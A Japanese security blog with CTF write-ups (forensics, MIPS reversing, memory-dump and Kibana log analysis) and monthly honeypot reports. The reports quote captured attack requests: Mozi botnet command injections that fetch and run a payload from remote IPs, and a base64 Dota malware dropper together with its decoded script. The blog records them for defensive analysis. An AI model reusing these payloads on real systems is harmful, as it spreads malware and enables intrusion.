Midnight Monologues

日々勉強したことを書いてきます

UMDCTF 2022 - Writeup

金, 04 3月 2022, 23:00 UTC — 日, 06 3月 2022, 23:00 UTCに開催されたUMDCTF 2022 に会社のチームで参加した。 他のチームメンバーの陰で2問だけ解いたので、以下にWriteupを記載する。

Forensic

Renzik's Case

My friend deleted important documents off of my flash drive, can you help me find them?

Renziks_Case.zip

Author: matlac


添付ファイルはUSBのイメージファイル。 普通に認識できる状態のためFTKImagerで読みだしてみる。
ゴミ箱の中にflagの記載された画像がある。



flag : UMDCTF-{Sn00p1N9_L1K3_4_Sl317h!}



Reverse

tiny

Scan for free crypto currency!

tiny.png

Author: matlac

tiny.png



添付のQRコードをParseするとBase64エンコードされたXZファイルが取得できる。


XZファイルを解凍するとELFファイル(MISP形式)が得られる。

得られたelfファイルをghidraでdecompileするとmain関数で以下の処理を実施している。



① main関数
undefined4 main(void)

{
  FUN_00400834(0);
  FUN_00400974(0);
  return 0;
}


②FUN_00400834
undefined4 FUN_00400834(uint uParm1)

{
  uint uStack36;
  undefined4 uStack32;
  undefined4 uStack28;
  undefined4 uStack24;
  undefined4 uStack20;
  undefined2 uStack16;
  int iStack12;

  iStack12 = __stack_chk_guard;
  uStack32 = 0x756c6660;
  uStack28 = 0x70637d6f;
  uStack24 = 0x3b705566;
  uStack20 = 0x3c60513e;
  uStack16 = 0x7d4e;
  if ((uParm1 & 0x1fffffff) == 0) {
    puts("lol no");
  }
  else {
    uStack36 = 0;
    while ((int)uStack36 < 0x12) {
      putchar((int)*(char *)((int)&uStack32 + uStack36) ^ uStack36);
      uStack36 = uStack36 + 1;
    }


⇒上記のuStack32とuStack28とuStack24とuStack20とuStack16部分については格納された値とindex番号をXORする処理を0x0~0x11(=18)回実施している。

>>> chr(0x75^0x0)
'u'
>>> chr(0x6c^0x1)
'm'
>>> chr(0x66^0x2)
'd'
>>> chr(0x60^0x3)
'c'
>>> chr(0x70^0x4)
't'
>>> chr(0x63^0x5)
'f'
>>> chr(0x7d^0x6)
'{'
>>> chr(0x6f^0x7)
'h'
>>> chr(0x3b^0x8)
'3'
>>> chr(0x70^0x9)
'y'
>>> chr(0x55^0xa)
'_'
>>> chr(0x66^0xb)
'm'
>>> chr(0x3c^0xc)
'0'
>>> chr(0x60^0xd)
'm'
>>> chr(0x51^0xe)
'_'
>>> chr(0x3e^0xf)
'1'
>>> chr(0x7d^0x10)
'm'
>>> chr(0x4e^0x11)
'_'


③FUN_00400974
undefined4 FUN_00400974(int iParm1)

{
  int iStack68;
  int aiStack64 [13];
  int iStack12;

  iStack12 = __stack_chk_guard;
  memcpy(aiStack64,&DAT_00400c94,0x34);
  if (iParm1 == 0) {
    puts("lol no");
  }
  else {
    iStack68 = 0;
    while (iStack68 < 0xd) {
      putchar(aiStack64[iStack68] >> 2 ^ 2);
      iStack68 = iStack68 + 1;
    }
  }
  if (iStack12 == __stack_chk_guard) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

⇒&DAT_00400c94に設定したデータを配列型としてaiStack64に渡している。

&DAT_00400c94
        00400c94 00              ??         00h
        00400c95 00              ??         00h
        00400c96 00              ??         00h
        00400c97 ca              ??         CAh
        00400c98 00              ??         00h
        00400c99 00              ??         00h
        00400c9a 01              ??         01h
        00400c9b b2              ??         B2h
        00400c9c 00              ??         00h
        00400c9d 00              ??         00h
        00400c9e 01              ??         01h
        00400c9f 76              ??         76h    v
        00400ca0 00              ??         00h
        00400ca1 00              ??         00h
        00400ca2 01              ??         01h
        00400ca3 da              ??         DAh
        00400ca4 00              ??         00h
        00400ca5 00              ??         00h
        00400ca6 01              ??         01h
        00400ca7 aa              ??         AAh
        00400ca8 00              ??         00h
        00400ca9 00              ??         00h
        00400caa 00              ??         00h
        00400cab c6              ??         C6h
        00400cac 00              ??         00h
        00400cad 00              ??         00h
        00400cae 01              ??         01h
        00400caf 76              ??         76h    v
        00400cb0 00              ??         00h
        00400cb1 00              ??         00h
        00400cb2 01              ??         01h
        00400cb3 c2              ??         C2h
        00400cb4 00              ??         00h
        00400cb5 00              ??         00h
        00400cb6 01              ??         01h
        00400cb7 0a              ??         0Ah
        00400cb8 00              ??         00h
        00400cb9 00              ??         00h
        00400cba 01              ??         01h
        00400cbb 9a              ??         9Ah
        00400cbc 00              ??         00h
        00400cbd 00              ??         00h
        00400cbe 00              ??         00h
        00400cbf ce              ??         CEh
        00400cc0 00              ??         00h
        00400cc1 00              ??         00h
        00400cc2 01              ??         01h
        00400cc3 b6              ??         B6h
        00400cc4 00              ??         00h
        00400cc5 00              ??         00h
        00400cc6 01              ??         01h
        00400cc7 fe              ??         FEh


aiStack64にstackした値を4バイト毎に2bit右シフトして2でxorする。

>>> chr(0x00CA>>2^2)
'0'
>>> chr(0x01B2>>2^2)
'n'
>>> chr(0x0176>>2^2)
'_'
>>> chr(0x01DA>>2^2)
't'
>>> chr(0x01AA>>2^2)
'h'
>>> chr(0x00C6>>2^2)
'3'
>>> chr(0x0176>>2^2)
'_'
>>> chr(0x01C2>>2^2)
'r'
>>> chr(0x010A>>2^2)
'@'
>>> chr(0x019A>>2^2)
'd'
>>> chr(0x00CE>>2^2)
'1'
>>> chr(0x01B6>>2^2)
'o'
>>> chr(0x01FE>>2^2)
'}


②と③を合わせたものがflagになる。

flag : umdctf{h3y_m0m_1m_0n_th3_r@d1o}

感想

jdata のzipファイル形式で作成されたelfファイルの仕組みを気付けなくて悔しい。
CompTIA Security+ :5月取得 ⇒ CISSP :10月取得目指して頑張るノシ!!୧(๑›◡‹ ๑)୨
In these times, I'm against the war anyway, so I'll donate !!

DefCamp CTF 21-22 Online - Writeup

I attended DefCamp CTF 21-22 Online on Fri, 11 Feb 2022, 09:00 UTC - Sun, 13 Feb 2022, 15:00 UTC with a team from my company. It's been a while since I submitted a flag, so here's a writeup.

Forensic

this-file-hides-something

Description:
There is an emergency regarding this file. We need to extract the password ASAP. It's a crash dump, but our tools are not working. Please help us, time is not on our side.

PS: Flag format is not standard.

Author:Wolf
Difficulty:Medium
Attachments:crashdump.zip(0.7GB)



If you download and unzip the problem file, you will find an elf file.


I'll assume it's a memory dump and check the information in volatility.

root@wh:/home/wh/crashdump# vol -f crashdump.elf imageinfo
volatility  volname     
root@wh:/home/wh/crashdump# volatility -f crashdump.elf imageinfo
Volatility Foundation Volatility Framework 2.5
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win2008R2SP0x64, Win7SP1x64, Win7SP0x64, Win2008R2SP1x64
                     AS Layer1 : AMD64PagedMemory (Kernel AS)
                     AS Layer2 : OSXPmemELF (Unnamed AS)
                     AS Layer3 : FileAddressSpace (/home/wh/crashdump/crashdump.elf)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002831120L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002833000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2022-02-06 11:04:38 UTC+0000
     Image local date and time : 2022-02-06 03:04:38 -0800



It seems that the OS of the memory analysis target is the one of Win2008R2. I proceed to investigate based on the profile information I got. Since the question says that we want to know the password, we check the password with lsadump option.

root@wh:/home/wh/crashdump# volatility -f crashdump.elf --profile=Win2008R2SP0x64 lsadump
Volatility Foundation Volatility Framework 2.5
DefaultPassword
0x00000000  1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x00000010  53 00 74 00 72 00 30 00 6e 00 67 00 41 00 73 00   S.t.r.0.n.g.A.s.
0x00000020  41 00 52 00 30 00 63 00 6b 00 21 00 00 00 00 00   A.R.0.c.k.!.....

DPAPI_SYSTEM
0x00000000  2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ,...............
0x00000010  01 00 00 00 26 db 41 81 81 b7 74 99 0d b8 a0 2a   ....&.A...t....*
0x00000020  0d 0f 0e d0 92 6b 77 1d 64 73 ab 60 47 1e 07 07   .....kw.ds.`G...
0x00000030  ab a8 fa dd 57 f3 6b 51 2e 0a 4f 79 00 00 00 00   ....W.kQ..Oy....



Because the part of DefaultPassword becomes a password, Flag is Str0ngAsAR0ck!.

flag : Str0ngAsAR0ck!

Misc

cant-touch-this

Description:
The Nesteaz company suffered from a security breach. We are low on personnel and we require your help in investigating the events collected from the compromised machine.

Credentials: elastic/k8jTYMCoAqppB

✅ Please provide the user account on which malicious actions were executed. (Points: 50)
✅ We need the IP of the compromised machine (Points: 50)
✅ The attackers managed to execute some malicious scripts without being detected by our security systems. Can you determine which program was executed? (Points: 50)
✅ What system management tool did the attacker use in order to launch its program with full privileges? (Points: 50)
✅ We know that the attacker managed to download an infected executable using a Windows utility. We need that name, please. (Points: 50)
✅ The attacker managed to give full privileges to his account. We need the code of the event triggered by this action. (Points: 50)

Author:Wolf
Difficulty:Medium
Attachments:N/A
Address:34.141.93.151:32729



When you access the URL, you will see Kibana's management console screen.



Click Discover in the left pane of Kibana.



You can see the log of winlogbeat-*, which seems to be a mechanism to collect Windows event logs using beat.



Since 15-minute intervals don't give any information, we specify a search period of logs up to a fortnight ago. We can see that the attacker's access occurred between 2/2 and 2/9.



A quick look at the log shows that there is a suspicious user named user.name: "malware_attacker", so do a keyword search for malware_attacker.
The number of hits is reduced from 43,596 to 22,468.



Also, a quick look at the logs shows that the malware_attacker is operating under C:\Users\plant\, so do a keyword search on plant.
The number of hits is reduced from 22,468 to 1,482.



Looking at the log, we can see the following suspicious activity.

@timestamp Feb 9, 2022 @ 01:58:27.422
_index winlogbeat-7.9.3-2022.02.08-000001
host.name DESKTOP-IHO95MC
host.os.kernel 10.0.19041.1466 (WinBuild.160101.0800)
host.os.name Windows 10 Home
message 
 Image: C:\Users\plant\AppData\Local\Temp\NSudo.exe
 Description: NSudo for Windows
 Product: NSudo
 Company: M2-Team
 OriginalFileName: NSudo.exe
 CommandLine: NSudo  -U:T -ShowWindowMode:Hide  sc delete  windefend  
 CurrentDirectory: C:\Users\plant\AppData\Local\Temp\
process.parent.command_line C:\Windows\system32\cmd.exe /c ""C:\Users\plant\OneDrive\Desktop\stuff-i-want\Defeat-Defender.bat" "



From the above log, we can see the following
・The operating system of the attacked device is Windows 10 Home and the IP is 192.168.0.108.

・NSudo for Windows is a tool used to launch any application with administrator rights.  github.com
・You have removed the Windows Defender service with administrative rights to make it harder to be detected, and it is running from Defeat-Defender.bat on OneDrive.

Search for download to check the malware download process.
The number of hits is reduced from 1,482 to 112.



After downloading Defeat-Defender.bat from the following log to check the process related to the download, WinUpdate.exe is renamed and placed under the startup folder. This setting has been made permanent to run automatically at PC startup.



Finally, I'm looking for logs related to privilege escalation. user.txt is available, so I'd like to get root.txt and do some things as administrator.
If you check the log, you will find that winlog.event_id : 4672,message : Special privileges assigned to new logon.

This event generates for new account logons if any of the following sensitive privileges are assigned to the new logon session.This means that you get administrator rights. docs.microsoft.com


Based on the above, the FLAG is as follows.

flag :

✅ Please provide the user account on which malicious actions were executed.
 ⇒ malware_attacker
✅ We need the IP of the compromised machine
 ⇒ 192.168.0.108
✅ The attackers managed to execute some malicious scripts without being detected by our security systems. Can you determine which program was executed?
 ⇒ Defeat-Defender.bat
✅ What system management tool did the attacker use in order to launch its program with full privileges?
 ⇒ NSudo.exe
✅ We know that the attacker managed to download an infected executable using a Windows utility. We need that name, please.
 ⇒ WinUpdate.exe
✅ The attacker managed to give full privileges to his account. We need the code of the event triggered by this action.
 ⇒ 4672

Finally, we would like to thank you for organising this wonderful competition. Have a nice day !!

ハニーポット運用(月次報告:2021年12月)

今月のTopics

Apache Log4jの任意のコード実行の脆弱性(CVE-2021-44228)に関する注意喚起が公開された。

JavaベースのオープンソースのロギングライブラリのApache Log4jには、任意のコード実行の脆弱性(CVE-2021-44228)がある。
Apache Log4jが動作するサーバーにおいて、遠隔の第三者が本脆弱性を悪用する細工したデータを送信することで、任意のコードを実行する可能性がある。

Apache Log4j Security Vulnerabilities
Fixed in Log4j 2.15.0
https://logging.apache.org/log4j/2.x/security.html

※出典:Apache Log4jの任意のコード実行の脆弱性(CVE-2021-44228)に関する注意喚起  https://www.jpcert.or.jp/at/2021/at210050.html

www.ipa.go.jp www.jpcert.or.jp logging.apache.org

推奨の対策では以下が紹介されている。

・自身が管理するIT環境でlog4jを利用するシステムとソフトウェアを棚卸する。
(※時間のかかる作業なので、前もって始めた方が良い)

・インターネットに接続されたソフトウェア/デバイスに対し、セキュリティパッチをすぐに適用する。

・社内のソフトウェア/デバイスに対応するセキュリティパッチをできるだけ早く適用する。
※何らかの理由でパッチが適用できない場合は、システムをインターネットから隔離し、以下の緩和策を適用することを強く推奨する。
 Case1. バージョンが2.10 の場合
  - log4j2.formatMsgNoLookups を true に設定する。
 Case2. バージョンが2.0 から 2.10.0 までの場合
  - 以下のコマンドを実行し、log4j から LDAP クラスを完全に削除する。
    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  - 一部のJVM バージョンでは、com.sun.jndi.rmi.object.trustURLCodebase および com.sun.jndi.cosnaming.object.trustURLCodebase を false に設定して、脆弱性を軽減させることが可能である。(一部の JVM のバージョンでは、すでにこの設定がデフォルトとなっている。)

Linux/Unixのコマンドを使用して、Webサーバーのログに悪用の試みがあるかどうか(成功したかどうかにかかわらず)を確認する。
  sudo egrep -i -r '\${jndi:(ldap[s]?|rmi|dns):/[^entan]+' /var/log/

・ネットワーク境界のログを確認し、IOC(indicators of compromise)のリストが存在するかどうかを確認する。

SnortまたはSuricataベースの(あるいは互換性のある)ネットワークベースIDSを使用している場合、悪用の試みを検出するためのルールを使用する。

脆弱性のあるシステムがある場合、スキャンは非常に強力であり、脆弱性のあるシステムが迅速に悪用されたと考えられるため、悪用の兆候がないか慎重にチェックする必要がある。

・WAF を使用している場合、log4j 固有のルールを導入する。Cloud Armor、Cloudflare WAF、Signal Sciences WAFなど、多くの商用ソリューションで利用可能である。

※出典:Zero-Day Exploit Targeting Popular Java Library Log4j
 - https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/

TryHackMeでも動作確認用のMachineが提供されている。
tryhackme.com

log4jは発表当初は恒久対応が確立されておらず、非常に深刻かつゼロデイ攻撃に該当する内容であった。
ゼロデイ攻撃に対する備えについて改めて考えさせられる内容であった。
個人情報保護法の改正(2022年4月より施行)により情報漏洩に対する企業への罰則強化が発表されており、セキュリティ対策費用<情報漏洩時の対応費用が現実味を帯びている。 来年度の予算取りに当たっては各企業様においてもセキュリティ対策予算の増加を検討頂きたい内容であった。(新法では罰金額の桁が違うので)

改正個人情報保護法の一部

対象 罰金額(旧法) 罰金額(新法)
措置命令(42条2項、3項)の違反の罰則 30万円以下 1億円以下
個人情報データベース等の不正流用 50万円以下 1億円以下
報告義務(40条)違反の罰則 30万円以下 50万円以下

T-Potにて1か月運用した結果を記載する。

今月のChangelog

 更新無し。

前提条件

運用日時:2021年12月1日-2021年12月31日
運用期間:31日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月比
1 Heralding 961,176 86,886
2 Cowrie 595,514 ▲167,494
3 Honeytrap 566,628 50,052
4 Dionaea 409,308 ▲43,816
5 Rdpy 97,024 12,641
6 Adbhoney 15,306 810
7 Mailoney 14,416 ▲1,139
8 Tanner 4,336 1,248
9 Ciscoasa 2,674 627
10 ConPot 1,730 481
11 CitrixHoneypot 1,577 126
12 ElasticPot 1,072 76
13 Medpot 112 ▲23
  • Result
    • 全体的なアクセス数の減少は継続中。
    • Heraldingへのアクセス数は依然として多い。

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Russia 702,356 1(→)
2 Netherlands 529,039 2(→)
3 United States 421,708 4(↑)
4 China 180,816 3(↓)
5 Ukraine 81,292 7(↑)
6 Denmark 74,584 圏外(↑)
7 India 67,107 9(↑)
8 Vietnam 65,611 8(→)
9 Japan 36,691 13(↑)
10 Hong Kong 30,701 圏外(↑)
11 Sweden 27,433 12(↑)
12 South Korea 25,406 圏外(↑)
13 Taiwan 25,279 19(↑)
14 Brazil 24,708 6(↓)
15 Latvia 23,503 15(→)
16 Indonesia 22,645 14(↓)
17 United Kingdom 17,522 5(↓)
18 Poland 16,694 圏外(↑)
19 Germany 12,739 圏外(↑)
20 Thailand 11,957 圏外(↑)

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID Count
1 CVE-2020-11899 1,908,169
2 CVE-2019-0708 CVE-2019-0708 CVE-2019-0708 28
3 CVE-2020-11910 12
  • Result
    • 検知されるCVEの種類も少なくなりつつある。
    • Ripple20関連は相変わらず多い。

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 50)で記載する。
No ユーザ名 件数
1 root 52,208
2 sa 27,629
3 user 4,872
4 admin 4,009
5 postgres 2,505
6 hadoop 1,708
7 mysql 1,618
8 22 1,351
9 (empty) 1,054
10 !root 686
11 2Wire 671
12 test 454
13 support 415
14 0 351
15 666666 348
16 unknown 345
17 adm 343
18 debug 340
19 blank 339
20 knockknockwhosthere 313
21 www 300
22 nproc 299
23 administrator 267
24 anonymous 255
25 Admin 248
26 user123 235
27 db 233
28 www-data 229
29 ftp 212
30 pi 199
31 wwwroot 193
32 ubuntu 177
33 web 176
34 data 169
35 oracle 150
36 guest 126
37 git 109
38 testuser 105
39 server 102
40 ansible 83
41 ubnt 72
42 minecraft 66
43 zabbix 66
44 ftpuser 54
45 butter 51
46 dev 47
47 odoo 40
48 system 33
49 username 33
50 sh 32
  • Result
    • 特記事項なし

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 50)を以下に記載する。
No パスワード 件数
1 admin 30,709
2 (empty) 3,356
3 1 1,810
4 password 1,638
5 blank 1,015
6 123456 937
7 root 909
8 Password 900
9 12345 658
10 12345678 594
11 1234 489
12 user 476
13 0 459
14 00000000 447
15 666666 443
16 ubnt 399
17 support 395
18 master 376
19 alpine 366
20 hi3518 356
21 backup 355
22 unknown 353
23 !ishtar 349
24 synnet 340
25 123 337
26 Passw0rd 317
27 knockknockwhosthere 309
28 test 306
29 nproc 294
30 123456789 206
31 1qaz2wsx 203
32 1q2w3e4r 171
33 !QAZ2wsx 163
34 1234567 150
35 1234567890 150
36 111111 147
37 abc123 147
38 qwerty 142
39 system 136
40 admin123 134
41 123123 114
42 pass 111
43 123qwe 107
44 000000 106
45 postgres 94
46 Admin@123 91
47 x 90
48 iloveyou 88
49 root123 84
50 oracle 82
  • Result
    • 特記事項なし

⑥今月のmasscanとZmap
  • masscanの観測結果は以下の通り。

  • Zmapの観測結果は以下の通り。

  • Result

    • 特記事項は無し。

最後に

  • log4jのような深刻度の高いゼロデイ攻撃は非常に参考になる。関連企業がサプライチェーン攻撃を受けた場合に発注元企業側も管理者責任の問われる範囲が個人情報保護法の改正により広がることを考えると、今回のlog4jの対応を契機に各企業におけるセキュリティ意識の向上につながればと個人的には思った。
  • shファイルとexeファイル関連の問い合わせは以下の通り。
◆shファイルに関するアクセス
/axissbins.sh
/bin.sh
/bin/sh
/bins.sh
/Ciabins.sh
/Hilix.sh
/sh
/telnet.sh
/wget.sh
/Yowai.sh

◆exeファイルに関するアクセス
/exiles.exe
360vz.exe
c.exe
ytnk.exe

◆jsファイルに関するアクセス
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/112[.]248.255.248:34891/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/113[.]116.34.83:56138/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/115[.]48.136.152:33245/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/115[.]56.171.76:51240/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/115[.]63.183.145:40679/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/117[.]213.13.227:45111/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/192[.]168.1.1:8088/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/2[.]142.129.173:33496/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/203[.]170.98.130:3462/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/39[.]88.85.153:37461/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/61[.]52.61.43:46123/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/61[.]52.73.80:52652/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js

ハニーポット運用(月次報告:2021年11月)

今月のTopics

12月はX-masにかけてセキュリティイベントが目白押しになる。

2021 SANS Holiday Hack Challenge & KringleCon www.sans.org

Advent of Cyber 3 (2021) tryhackme.com

後は11月~12月にかけてはAmazonサイバーマンデーが例年開催されていたが今年は実施されなかった。(「Amazonブラックフライデー」の中で実施された模様だ。) www.watch.impress.co.jp

来年はセール期間に併せて試験資格の申し込みを実施できればと思う。

T-Potにて1か月運用した結果を記載する。

今月のChangelog

 更新無し。

前提条件

運用日時:2021年11月1日-2021年11月30日
運用期間:31日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月比
1 Heralding 874,290 583,536
2 Cowrie 763,008 ▲120,701
3 Honeytrap 516,576 ▲233,343
4 Dionaea 453,124 33,880
5 Rdpy 84,383 8,235
6 Mailoney 15,555 4,940
7 Adbhoney 14,496 ▲1,293
8 Tanner 3,088 3,005
9 Ciscoasa 2,047 789
10 CitrixHoneypot 1,451 ▲117
11 ConPot 1,249 ▲138
12 ElasticPot 996 ▲1,737
13 Medpot 135 ▲576
  • Result
    • 10月に引き続き全体のアクセス数は低下した。
    • Heraldingの検知数がCowrieを抜いて1位に浮上した。Dionaeaの検知数が低下し、smbの脆弱性を狙う攻撃は下火になっているのかもしれない。

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Russia 737,276 1(→)
2 Netherlands 607,689 2(→)
3 China 261,468 3(→)
4 United States 194,351 4(→)
5 United Kingdom 123,493 圏外(↑)
6 Brazil 106,915 7(↑)
7 Ukraine 74,093 19(↑)
8 Vietnam 68,156 6(↓)
9 India 53,357 5(↓)
10 France 37,557 圏外(↑)
11 Singapore 27,598 17(↑)
12 Sweden 26,310 13(↑)
13 Japan 24,783 11(↓)
14 Indonesia 23,771 9(↓)
15 Latvia 23,028 12(↓)
16 Iran 21,049 圏外(↑)
17 Mexico 19,777 17(→)
18 Republic of Lithuania 18,816 圏外(↑)
19 Taiwan 14,475 10(↓)
20 Venezuela 12,985 圏外(↑)

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID Count
1 CVE-2020-11899 1,442,569
2 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 793
3 CVE-2020-11910 45
4 CVE-2019-0708 CVE-2019-0708 CVE-2019-0708 24
5 CVE-2014-2321 CVE-2014-2321 3
  • Result
    • 特記事項なし

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 50)で記載する。
No ユーザ名 件数
1 root 101,532
2 sa 28,492
3 admin 4,187
4 user 3,470
5 22 1,341
6 hadoop 1,095
7 (empty) 1,067
8 postgres 832
9 2Wire 677
10 !root 674
11 test 602
12 anonymous 507
13 www 491
14 ftp 489
15 Admin 467
16 db 459
17 administrator 456
18 web 455
19 wwwroot 432
20 user123 415
21 data 414
22 knockknockwhosthere 414
23 www-data 410
24 support 374
25 0 360
26 666666 357
27 debug 339
28 adm 338
29 blank 337
30 unknown 325
31 nproc 267
32 pi 238
33 mos 134
34 oracle 132
35 ubuntu 116
36 guest 100
37 Sato 95
38 mysql 91
39 server 81
40 ftpuser 71
41 git 66
42 ubnt 55
43 sh 47
44 dev 41
45 nginx 41
46 miner 39
47 minecraft 37
48 dell 34
49 nick 34
50 default 32
  • Result
    • 特記事項なし

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 50)を以下に記載する。
No パスワード 件数
1 admin 26,789
2 (empty) 3,724
3 1 1,588
4 root 1,419
5 password 1,408
6 123456 1,078
7 blank 1,019
8 12345 766
9 12345678 760
10 123 524
11 666666 511
12 Samantha 491
13 1234 486
14 user 485
15 0 482
16 Password 450
17 knockknockwhosthere 420
18 00000000 408
19 master 389
20 support 380
21 ubnt 376
22 alpine 364
23 hi3518 353
24 backup 341
25 unknown 339
26 !ishtar 337
27 synnet 336
28 111111 323
29 test 296
30 zaq12wsx 264
31 nproc 261
32 1q2w3e4r 251
33 abc123 251
34 musicman 241
35 123456789 231
36 qwerty 225
37 1qaz2wsx 224
38 Passw0rd 212
39 1234567 210
40 000000 207
41 system 194
42 admin123 192
43 1234567890 176
44 123123 171
45 123qwe 170
46 iloveyou 169
47 passw0rd 163
48 Jennifer 161
49 123qwe!@# 158
50 pass 158
  • Result
    • Krane Malware関連のアクセスは多くは無いが今月も観測していた。

⑥今月のmasscanとZmap
  • masscanの観測結果は以下の通り。

  • Zmapの観測結果は以下の通り。

  • Result

    • 特記事項は無し。

最後に

  • ブラックフライデー中のため「サイバー術 プロに学ぶサイバーセキュリティ」を購入した。現在通読中。 book.mynavi.jp

  • 来月で今年も終わり。今年受験予定だったセキュリティ資格は何もすすんでいない。

  • 今月のアクセス。 base64エンコードされたデータアクセス

IPアドレス:221[.]195[.]1[.]201

Payload  :

sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApta2RpciAuWDE3LXVuaXgKY2QgLlgxNy11bml4Cm12IC92YXIvdG1wL2RvdGEudGFyLmd6IGRvdGEudGFyLmd6CnRhciB4ZiBkb3RhLnRhci5negpzbGVlcCAzcyAmJiBjZCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYwpub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTkyLjE2OCA+PiAvZGV2L251bGwgMj4xJgpzbGVlcCA4bSAmJiBub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDE3LXVuaXgvLnJzeW5jL2luaXRhbGwgMj4xJgpleGl0IDA=" | base64 --decode | bash

 ↓
文字コード部分をPrintable形式にすると以下になる。
 ↓

#!/bin/bash
cd /tmp 
rm -rf .ssh
rm -rf .mountfs
rm -rf .X13-unix
rm -rf .X17-unix
mkdir .X17-unix
cd .X17-unix
mv /var/tmp/dota.tar.gz dota.tar.gz
tar xf dota.tar.gz
sleep 3s && cd /tmp/.X17-unix/.rsync/c
nohup /tmp/.X17-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 192.168 >> /dev/null 2>1&
sleep 8m && nohup /tmp/.X17-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 172.16 >> /dev/null 2>1&
sleep 20m && cd ..; /tmp/.X17-unix/.rsync/initall 2>1&
exit 0

Dota MalwareというIoT機器をターゲットにしたmalwareのようだ。

blog.edie.io

ハニーポット運用(月次報告:2021年10月)

今月のTopics

2021年10月04日にApache HTTP Serverにてパストラバーサル脆弱性(CVE-2021-41773)に対する修正バージョンがリリースされた。
バージョン2.4.49のみが該当する脆弱性であり、2.4.50へのアップデートで解消される見込みであったが、2021年10月8日に2.4.50では別のパストラバーサル脆弱性(CVE-2021-42013)があることが判明し、修正バージョン(2.4.51)がリリースされた。

www.jpcert.or.jp

httpd.apache.org

www.nri-secure.co.jp

※うちのハニーポットにはアクセスを確認できず。割と限定的な攻撃?

